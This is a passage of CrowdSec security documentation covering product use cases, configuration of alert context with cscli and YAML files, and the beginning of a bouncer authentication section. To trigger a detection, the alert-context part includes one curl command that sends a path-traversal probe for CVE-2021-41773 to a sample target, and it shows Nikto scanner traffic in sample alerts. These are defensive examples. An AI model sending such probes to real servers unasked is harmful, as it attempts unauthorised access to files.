Noise, Save Resources, Address Alert Fatigue[โ€‹](#reduce-noise-save-resources-address-alert-fatigue "Direct link to Reduce Noise, Save Resources, Address Alert Fatigue") Eliminate automated noise from unwanted probes, spam and malicious traffic to reduce server load and log volumes by up to 80%. **Is it for me?** Ideal if you're experiencing high server load from automated traffic or want to reduce infrastructure costs. Good option if you need to optimize server performance and reduce log storage requirements. **How it works:** * Use CrowdSec blocklists to preemptively block crowd validated noise. * Go further by deploying CrowdSec Security Engine to detect malicious patterns in your traffic. * Use an AppSec enabled Remediation Component to use CrowdSec WAF. * Track quantified savings through metrics and performance monitoring. ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [Blocklist Catalog doc](https://docs.crowdsec.net/u/console/blocklists/catalog.md) - [Blocklist Catalog โ†—๏ธ](https://app.crowdsec.net/blocklists/search) - [Security Engine installation](https://docs.crowdsec.net/u/getting_started/intro.md) - [CrowdSec WAF](https://docs.crowdsec.net/docs/next/appsec/intro.md) - [Remediation Metrics](https://docs.crowdsec.net/u/console/remediation_metrics.md) * [๐ŸŽ“ CrowdSec Cyber Threat Intelligence](https://academy.crowdsec.net/course/crowdsec-cyber-threat-intelligence) - [The Real Value of Preemptively Blocking a Cyber Attack โ†—๏ธ](https://www.crowdsec.net/blog/value-of-preemptive-blocking) *** ## Multi-Tenant Protection[โ€‹](#multi-tenant-protection "Direct link to Multi-Tenant Protection") Apply different security policies per customer, application, tier, \[...] retrieving contextualized IP Lists. **Is it for me?** Ideal if you're managing multiple customers, applications, or environments with different security requirements. Good option if you need granular policy control and want to avoid cross-tenant security policy interference. **How it works:** * Configure separate blocklist integrations for each context. * Assign context-specific blocklist AND allowlists. * Go further by creating custom lists based on detections made on your infrastructure. ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [Blocklist integration Getting started guide](https://docs.crowdsec.net/u/integrations/intro.md) - [Blocklist Catalog doc](https://docs.crowdsec.net/u/console/blocklists/catalog.md) - [Blocklist Catalog โ†—๏ธ](https://app.crowdsec.net/blocklists/search) - [Custom blocklists from the decisions of your Security engine โ†—๏ธ](https://github.com/crowdsecurity/custom-bouncer-to-blocklist) * [๐ŸŽ“ CrowdSec Academy](https://academy.crowdsec.net/courses) - [CrowdSec's Notification Center: Seamless Integrations and Custom Alerts โ†—๏ธ](https://www.crowdsec.net/blog/crowdsec-launches-notification-center-slack) - [Deeptree Leverages CrowdSec to Protect Their Clients and Infrastructure โ†—๏ธ](https://www.crowdsec.net/blog/deeptree-protects-clients-infrastructure-with-crowdsec) *** ## Bot and Scraper Management[โ€‹](#bot-and-scraper-management "Direct link to Bot and Scraper Management") Control aggressive crawlers and scraping tools while preserving legitimate user access using graduated response strategies. **Is it for me?** Ideal if you're dealing with aggressive bots or scrapers that impact your site performance. Good option if you want to prevent illegitimate AI crawlers from visiting your site. **How it works:** * Retrieve AI Crawlers and/or Botnets IPs from CrowdSec Blocklist integrations * Block at the edge using your firewall or CDN. ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [โฌ†๏ธ **Blocking at the edge section**](#blocking-at-the-edge) - [Custom scenario creation](https://docs.crowdsec.net/docs/next/scenarios/create) - [AI Crawlers Blocklist โ†—๏ธ](https://app.crowdsec.net/blocklists/67b3524151bbde7a12b60be0) - [Curated Botnet Actors โ†—๏ธ](https://app.crowdsec.net/blocklists/65a56c160469607d9badb813) - [Public Internet Scanners โ†—๏ธ](https://app.crowdsec.net/blocklists/65f972eb807e06de7a0e3e65) * [๐ŸŽ“ CrowdSec Academy](https://academy.crowdsec.net/courses) - [Protect Your Digital Assets Against AI Crawlers โ†—๏ธ](https://www.crowdsec.net/blog/protect-against-ai-crawlers) - [The Real Value of Preemptively Blocking a Cyber Attack โ†—๏ธ](https://www.crowdsec.net/blog/value-of-preemptive-blocking) *** ## Block Common web attacks fast[โ€‹](#block-common-web-attacks-fast "Direct link to Block Common web attacks fast") Quickly protect web applications from the latest CVEs and generic vulnerability exploits using CrowdSec WAF. **Is it for me?** Ideal if you want a modern OpenSource WAF solution.
Benefit from CrowdSec's Virtual patching catalog while being able to use your existing ModSecurity rules as is. **How it works:** * Deploy CrowdSec Security Engine with AppSec module on your reverse proxy or web server. * Get CrowdSec Virtual patching collection. * Easily scale and identify behaviors across multiple servers over time. * Go further by using your existing appsec rules. * Even test CRS rules out of band on your production traffic to easily adapt them to you needs. ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [Security Engine installation](https://docs.crowdsec.net/u/getting_started/intro.md) - [CrowdSec WAF presentation](https://docs.crowdsec.net/docs/next/appsec/intro.md) - [Virtual Patching collection โ†—๏ธ](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) * [๐ŸŽ“ Deploying CrowdSec in Kubernetes](https://academy.crowdsec.net/course/deploying-crowdsec-in-kubernetes) - [Strengthen Security and Protection with CrowdSec's Open Source Web Application Firewall โ†—๏ธ](https://www.crowdsec.net/blog/strengthen-security-with-crowdsec-open-source-waf) - [What Our Community Built with CrowdSec WAF: Real Stories, Real Security โ†—๏ธ](https://www.crowdsec.net/blog/crowdsec-waf-in-action-real-world-use-cases) - [CrowdSec WAF: The Collaborative Future of Web Application Security โ†—๏ธ](https://www.crowdsec.net/blog/crowdsec-waf-the-collaborative-future-of-web-application-security) - [Secure Caddy with CrowdSec: Remediation and WAF Guide โ†—๏ธ](https://www.crowdsec.net/blog/secure-caddy-crowdsec-remediation-waf-guide) - [Implementing the CrowdSec WAF for Advanced Web Application Security โ†—๏ธ](https://www.crowdsec.net/blog/web-application-security-crowdsec-waf) - [Enhance Kubernetes Security with the CrowdSec WAF โ†—๏ธ](https://www.crowdsec.net/blog/kubernetes-security-with-crowdsec-waf) - [Waste Attacker Resources and Protect Your Applications in One Go โ†—๏ธ](https://www.crowdsec.net/blog/waste-attacker-resources) *** ## Legacy Application Protection[โ€‹](#legacy-application-protection "Direct link to Legacy Application Protection") Add modern security controls to legacy applications that cannot be modified directly using transparent proxy protection. **Is it for me?** Ideal if you're running legacy applications that lack built-in security features. Good option if you need immediate protection without the risk of modifying critical legacy code. **How it works:** * Deploy CrowdSec WAF at the reverse proxy level in front of your legacy application. * Configure virtual patching rules to block known exploits targeting your application stack. * Additionally create custom AppSec rules adapted to your legacy application's specific patterns. * Test protection rules out of band (simulation mode) before enabling blocking to ensure application functionality. ๐Ÿ”— **References** * Documentation & Resources - [โฌ†๏ธ **Block Common web attacks fast**](#block-common-web-attacks-fast) - [Block right before your app code with PHP prepend](https://docs.crowdsec.net/u/bouncers/php.md) - [Add blocking capabilities in your php app](https://docs.crowdsec.net/u/bouncers/php-lib.md) *** ## Custom Behavior Protection[โ€‹](#custom-behavior-protection "Direct link to Custom Behavior Protection") Create targeted protections for specific abuse patterns like **spam**, **credential stuffing**, or **scalping attacks**, \[...] using custom detection rules or scenarios. **Is it for me?** Ideal if you're facing unique attack patterns not covered by standard security solutions. Good option if you need highly specific protection tailored to your application's business logic and user patterns. **How it works:** * Analyze your specific abuse patterns to understand attacker behavior. * Create custom scenarios using CrowdSec's scenario framework for behavioral detection. * Eventually develop AppSec rules for pattern-matching specific malicious requests. * Test custom rules thoroughly using explain mode and simulation before production deployment. ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [โฌ†๏ธ **Block Common web attacks fast**](#block-common-web-attacks-fast) - [Custom scenario creation](https://docs.crowdsec.net/docs/next/log_processor/scenarios/create.md) - [Get help from the community โ†—๏ธ](https://discord.gg/wGN7ShmEE8) * [๐ŸŽ“ CrowdSec Academy](https://academy.crowdsec.net/courses) - [Example of custom detection: Impossible traveler โ†—๏ธ](https://www.crowdsec.net/blog/detect-suspicious-ip-behavior-impossible-travel) - [Success story: ScaleCommerce vs scalpers โ†—๏ธ](https://www.crowdsec.net/blog/scalecommerce-plummets-ops-costs-and-skyrockets-efficiency) - [Waste Attacker Resources and Protect Your Applications in One Go โ†—๏ธ](https://www.crowdsec.net/blog/waste-attacker-resources) *** ## Looking for complementary IOC streams[โ€‹](#looking-for-complementary-ioc-streams "Direct link to Looking for complementary IOC streams") Add qualified IOCs from CrowdSec's real-time IP reputation. **Is it for me?** Ideal if you want to complement your IOC insights with exclusive CrowdSec IP reputation data. Quickly choose among qualified malicious actors regrouped by industry, behaviors... **How it works:** * Stream CrowdSec IP Lists into your security tools. * Integrate directly in your security tools thanks to our integrations or easy to use CTI API. * ๐Ÿ… Get custom IOC streams made for your needs. * Next step: Enrich IPs via CrowdSec CTI API. ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [IP reputation lists / Blocklists Catalog doc โ†—๏ธ](https://app.crowdsec.net/blocklists/search) - [Retrieving merged lists via HTTPS endpoints](https://docs.crowdsec.net/u/integrations/intro.md) - [Retrieving Blocklists via API](https://docs.crowdsec.net/u/console/service_api/quickstart/blocklists.md#download-blocklist-content) - [MISP Feed from Security Engine's alerts](https://doc.crowdsec.net/u/bouncers/misp-feed-generator) - [Upcoming CrowdSec MISP Feeds โ†—๏ธ](https://roadmap.crowdsec.net/c/48-misp-feed) - [Contact Us for custom requests โ†—๏ธ](https://www.crowdsec.net/business-requests?interest=CTI%20subscription)) * [๐ŸŽ“ CrowdSec Cyber Threat Intelligence](https://academy.crowdsec.net/course/crowdsec-cyber-threat-intelligence) - [CrowdSec and Filigran Partner to Deliver Real-Time, Intelligence-Driven Cyber Defense โ†—๏ธ](https://www.crowdsec.net/blog/crowdsec-and-filigran-partnership) - [The Real Value of Preemptively Blocking a Cyber Attack โ†—๏ธ](https://www.crowdsec.net/blog/value-of-preemptive-blocking) *** ## Alert Enhancement and Triage[โ€‹](#alert-enhancement-and-triage "Direct link to Alert Enhancement and Triage") Accelerate incident response with contextual threat intelligence and automated routing to reduce alert volume by up to 80%. **Is it for me?** Ideal if your SOC team is overwhelmed with security alerts and needs better context for prioritization. Add exclusive context to your alerts and automate incident response with up to 30+ IP reputation enrichment dimensions. **How it works:** * Consult CrowdSec CTI: per IP queries, advanced search on behavior, classifications or performed CVEs- Configure notification plugins to automatically enrich alerts with global threat intelligence context. * Obtain your CTI API key from your CrowdSec Console account or a contact with CrowdSec team for higher quotas. * Integrate it in your tools with out existing integrations or via simple calls to the API. * ๐Ÿ… Advanced usages: API search, Offline replication, ... ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [Explore CrowdSec CTI within the console](https://docs.crowdsec.net/u/console/ip_reputation/intro.md) - [Create a test API key](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) - [IP reputation enrichment glossary](https://docs.crowdsec.net/u/cti_api/taxonomy/cti_object.md) - [Evaluate your IPs using our **IPDEX** tool](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ipdex.md) - [Contact Us for ๐Ÿ… advanced usage โ†—๏ธ](https://www.crowdsec.net/business-requests?interest=CTI%20subscription) * [๐ŸŽ“ CrowdSec Cyber Threat Intelligence](https://academy.crowdsec.net/course/crowdsec-cyber-threat-intelligence) - [CrowdSec and Filigran Partner to Deliver Real-Time, Intelligence-Driven Cyber Defense โ†—๏ธ](https://www.crowdsec.net/blog/crowdsec-and-filigran-partnership) - [The Real Value of Preemptively Blocking a Cyber Attack โ†—๏ธ](https://www.crowdsec.net/blog/value-of-preemptive-blocking) *** ## Threat Hunting and Intelligence[โ€‹](#threat-hunting-and-intelligence "Direct link to Threat Hunting and Intelligence") Enable proactive threat hunting with access to global intelligence from 190+ countries, often 7-60 days ahead of other vendors. **Is it for me?** Ideal if you have a threat hunting team that needs fresh, contextual intelligence for proactive security investigations. Good option if you want to correlate local events with global attack patterns and emerging threats. **How it works:** * Explore our CTI and CVE explorer * Leverage advanced search capabilities to identify relevant threats and vulnerabilities. * Go further using our CTI API to integrate threat intelligence into your existing workflows. ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [โฌ†๏ธ *CTI related refs from* **Alert Enhancement and Triage**](#alert-enhancement-and-triage) - [CVE explorer](https://docs.crowdsec.net/u/cti_api/cve_explorer) - [Follow our weekly vuln report on LinkedIn โ†—๏ธ](https://www.linkedin.com/company/crowdsec/posts/?feedView=all) * [๐ŸŽ“ CrowdSec Cyber Threat Intelligence](https://academy.crowdsec.net/course/crowdsec-cyber-threat-intelligence) - [IPDEX presentation article โ†—๏ธ](https://www.crowdsec.net/blog/introducing-crowdsec-ipdex) - [Explore and Prioritize Vulnerabilities with the CrowdSec CVE Explorer โ†—๏ธ](https://www.crowdsec.net/blog/cve-explorer) *** ## Useful Links[โ€‹](#useful-links "Direct link to Useful Links") * [CrowdSec Public Roadmap โ†—๏ธ](https://roadmap.crowdsec.net/tabs/3-planned) * [CrowdSecurity GitHub Repositories โ†—๏ธ](https://github.com/crowdsecurity/) --- # Contextualize Alerts ## Introduction[โ€‹](#introduction "Direct link to Introduction") CrowdSec doesn't store raw log information once it has finished processing them. However, you can send additional data within an alert with a feature we call **alert context**: ![Alert Context Example](/assets/images/alert_context-c2311e98048231d3aa13b6f0c3ea733f.png) Whilst some collections already include a context configuration, you must enable the `context` option within your Security Engine console configuration. This can be achieved by running: SHCOPY ``` sudo cscli console enable context ``` ## Check current config[โ€‹](#check-current-config "Direct link to Check current config") info These commands have to be run on the CrowdSec Local API You can view the current status of your console options with: SHCOPY ``` $ sudo cscli console status โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Option Name โ”‚ Activated โ”‚ Description โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ custom โ”‚ โœ… โ”‚ Send alerts from custom scenarios to the console โ”‚ โ”‚ manual โ”‚ โŒ โ”‚ Send manual decisions to the console โ”‚ โ”‚ tainted โ”‚ โœ… โ”‚ Send alerts from tainted scenarios to the console โ”‚ โ”‚ context โ”‚ โœ… โ”‚ Send context with alerts to the console โ”‚ โ”‚ console_management โ”‚ โŒ โ”‚ Receive decisions from console โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` You can enable alert context with: SHCOPY ``` sudo cscli console enable context ``` You can as well inspect and control the enabled alert context configuration: SHCOPY ``` $ sudo cscli lapi context status method: - evt.Meta.http_verb status: - evt.Meta.http_status target_uri: - evt.Meta.http_path target_user: - evt.Meta.target_user user_agent: - evt.Meta.http_user_agent ``` note The context configuration can as well be found in `/etc/crowdsec/contexts/` as yaml files. ## Vizualise alert context[โ€‹](#vizualise-alert-context "Direct link to Vizualise alert context") The alert context will be display when inspecting an alert: SHCOPY ``` $ sudo cscli alerts inspect 7 ################################################################################################ - ID : 7 - Date : 2022-12-12T18:46:44Z - Machine : c620f52cedf9432e969f26afee12d651 - Simulation : false - Reason : crowdsecurity/http-bad-user-agent - Events Count : 2 - Scope:Value: Ip:127.0.0.1 - Country : - AS : - Begin : 2022-12-12 18:46:43.339960525 +0000 UTC - End : 2022-12-12 18:46:43.341210351 +0000 UTC - Active Decisions : โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ ID โ”‚ scope:value โ”‚ action โ”‚ expiration โ”‚ created_at โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 15006 โ”‚ Ip:127.0.0.1 โ”‚ ban โ”‚ 3h59m50.949157024s โ”‚ 2022-12-12T18:46:44Z โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ - Context : โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Key โ”‚ Value โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ target_fqdn โ”‚ www.crowdsec-test.net โ”‚ โ”‚ target_fqdn โ”‚ www.crowdsec-test-1.net โ”‚ โ”‚ user_agent โ”‚ Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check) โ”‚ โ”‚ user_agent โ”‚ Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:getinfo) โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` And we can see that the `target_fqdn` and the `user_agent` are now displayed in the context of the alert. ## Adding custom alert context[โ€‹](#adding-custom-alert-context "Direct link to Adding custom alert context") You can get context values from: * Part of a parsed log line (with `evt.Parsed`) * Meta values set by parsers (with `evt.Meta`) * Hardcoded strings in the context configuration (with `"my_value"`) * More generally, anything available in `evt` (eg, `evt.Unmarshaled` with some parsers) * From expr helpers (all expr helpers are available in the context, allowing for example `CrowdsecCTI(evt.Meta.source_ip).GetMaliciousnessScore()`) You can add your custom alert context by adding a yaml file in `/etc/crowdsec/contexts/` : SHCOPY ``` cat > /etc/crowdsec/contexts/example.yaml << EOF context: example_value: - '"something"' http_extra_status: - evt.Meta.http_status EOF ``` Let's now trigger a http scenario by trying to exploit a well known vulnerability: SHCOPY ``` $ curl 'target.com/%2E%2E/%2E%2E' ``` In `crowdsec.log`, we're seeing our alert: SHCOPY ``` time="2024-01-24T18:08:34+01:00" level=info msg="Ip x.x.x.x performed 'crowdsecurity/http-cve-2021-41773' (1 events over 336ns) at 2024-01-24 17:08:34.026228434 +0000 UTC" ``` It as well appears when we're inspecting our alert: SHCOPY ``` $ cscli alerts list โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ ID โ”‚ value โ”‚ reason โ”‚ country โ”‚ as โ”‚ decisions โ”‚ created_at โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 6545 โ”‚ Ip:xxx.xx.xx.xx โ”‚ crowdsecurity/http-cve-2021-41773 โ”‚ FR โ”‚ 5410 Bouygues Telecom SA โ”‚ ban:1 โ”‚ 2024-01-24 17:08:34.026228866 +0000 UTC โ”‚ ... $ cscli alerts inspect -d 6545 ... - Context : โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Key โ”‚ Value โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ example_value โ”‚ something โ”‚ โ”‚ http_extra_status โ”‚ 400 โ”‚ โ”‚ method โ”‚ HEAD โ”‚ โ”‚ status โ”‚ 400 โ”‚ โ”‚ target_uri โ”‚ /%2E%2E/%2E%2E โ”‚ โ”‚ user_agent โ”‚ - โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ... ``` And in the console: ![Alert Context Example](/assets/images/alert_context_custom-5b80bc841798bd775b745eaf2ffb03d0.png) More information [here](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts.md) for managing the context from the Hub with `cscli`. ## Automagically detect possible alert context[โ€‹](#automagically-detect-possible-alert-context "Direct link to Automagically detect possible alert context") It is possible to detect all the possible fields that a given parser can output (or all the installed parsers with `--all` flag): SHCOPY ``` $ sudo cscli lapi context detect crowdsecurity/nginx-logs Acquisition : - evt.Line.Module - evt.Line.Raw - evt.Line.Src crowdsecurity/nginx-logs : - evt.Meta.http_path - evt.Meta.http_status - evt.Meta.http_user_agent - evt.Meta.http_verb - evt.Meta.log_type - evt.Meta.service - evt.Meta.source_ip - evt.Meta.target_fqdn - evt.Parsed.body_bytes_sent - evt.Parsed.cid - evt.Parsed.http_referer - evt.Parsed.http_user_agent - evt.Parsed.http_version - evt.Parsed.loglevel - evt.Parsed.message - evt.Parsed.pid - evt.Parsed.proxy_alternative_upstream_name - evt.Parsed.proxy_upstream_name - evt.Parsed.remote_addr - evt.Parsed.remote_user - evt.Parsed.request - evt.Parsed.request_length - evt.Parsed.request_time - evt.Parsed.status - evt.Parsed.target_fqdn - evt.Parsed.tid - evt.Parsed.time - evt.Parsed.time_local - evt.Parsed.verb - evt.StrTime ``` ## Delete a context[โ€‹](#delete-a-context "Direct link to Delete a context") Delete the yaml file containing your custom alert context, and reload crowdsec. SHCOPY ``` rm /etc/crowdsec/contexts/example.yaml systemctl restart crowdsec ``` --- # Application Security Component TODO --- # Bouncers CrowdSec is composed of different components that communicate via a Local API. To access this API, the various components (CrowdSec agent, cscli and bouncers) need to be authenticated. info This documentation should be relevant mostly for administrators that would like to setup distributed architectures. Single machine setup users can likely skip this part. There are two kind of access to the local api : * `machines`: a login/password authentication used by cscli and CrowdSec, it allows to post, get and delete decisions and alerts. * `bouncers`: a token authentication used by bouncers to query the decisions, it only allows to get decisions. ## Bouncers authentication[โ€‹](#bouncers-authentication "Direct link to Bouncers authentication") caution The `cscli bouncers` command interacts directly with the database (bouncers add and delete are not implemented in the API), therefore it must have the correct database configuration. SHCOPY ``` sudo cscli bouncers list ``` You can view the registered bouncers with `list`, and add or delete them : SHCOPY ``` sudo cscli bouncers add mybouncersname Api key for 'mybouncersname': 23........b5a0c Please keep this key since will not be able to retrieve it! sudo cscli bouncers delete mybouncersname ``` The API key must be kept and given to the bouncer configuration. cscli bouncers example SHCOPY ``` sudo cscli 